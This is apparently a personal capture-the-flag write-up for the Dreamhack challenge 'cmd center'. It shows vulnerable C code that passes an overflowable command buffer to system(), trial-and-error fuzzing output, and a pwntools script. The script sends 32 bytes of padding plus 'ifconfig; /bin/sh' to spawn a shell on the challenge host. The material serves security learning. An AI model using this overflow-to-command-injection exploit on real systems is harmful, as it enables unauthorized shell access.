533 words
3 minutes
cmd center
Write-up of the challenge “cmd center”
This challenge is part of the “Binary exploitation” category and is in Level 1.
Goal of the challenge
The objective of this challenge is to overwrite the value of the ifconfig with ifconfig; /bin/sh
Program structure
#include <stdlib.h>#include <stdio.h>#include <string.h>#include <unistd.h>
void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0);}
int main(){
char cmd_ip[256] = "ifconfig"; int dummy; char center_name[24];
init();
printf("Center name: "); read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) { system(cmd_ip); }
else { printf("Something is wrong!\n"); } exit(0);}Security breach
The vulnerability read(0, center_name, 100);, basic buffer overflow where center_name is 24 bytes but it is reading 100 bytes.
Solution
So my solution was to try to see at which length does the program print out printf(“Something is wrong!\n”);, because it means we overwrote the first character in the ifconfig place and when we know that length we can later just put ifconfig; /bin/sh to spawn a shell.
So I just did a few fuzz tests:
──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ lscmd_center cmd_center.c solve.py
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: jewxztynjgherpfrtntbpxmvdhpaoyeth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1488 inet 172.26.188.160 netmask 255.255.240.0 broadcast 172.26.191.255 inet6 fe80::215:5dff:fe0f:5ad2 prefixlen 64 scopeid 0x20<link> ether 00:15:5d:0f:5a:d2 txqueuelen 1000 (Ethernet) RX packets 1338 bytes 239311 (233.7 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 12 bytes 824 (824.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 60 bytes 6016 (5.8 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 60 bytes 6016 (5.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixypzwldSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixypzwlSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixypzwSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixypzSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixypSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixySomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkixSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkiSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzkSomething is wrong!
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/cmd_center]└─$ ./cmd_centerCenter name: wwlpxmthfaugwpurjwuncpcrqavqxvzeth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1488 inet 172.26.188.160 netmask 255.255.240.0 broadcast 172.26.191.255 inet6 fe80::215:5dff:fe0f:5ad2 prefixlen 64 scopeid 0x20<link> ether 00:15:5d:0f:5a:d2 txqueuelen 1000 (Ethernet) RX packets 1343 bytes 240245 (234.6 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 12 bytes 824 (824.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 60 bytes 6016 (5.8 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 60 bytes 6016 (5.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0This is how I found out that we need a padding of 32 chars to overwrite the ifconfig place and we just put after ; /bin/sh to spawn a shell!
from pwn import *
# p = process('cmd_center')p = remote('host8.dreamhack.games', 19474)
payload = b'wwlpxmthfaugwpurjwuncpcrqavqxvza'
payload += b'ifconfig; /bin/sh'
p.sendline(payload)p.interactive()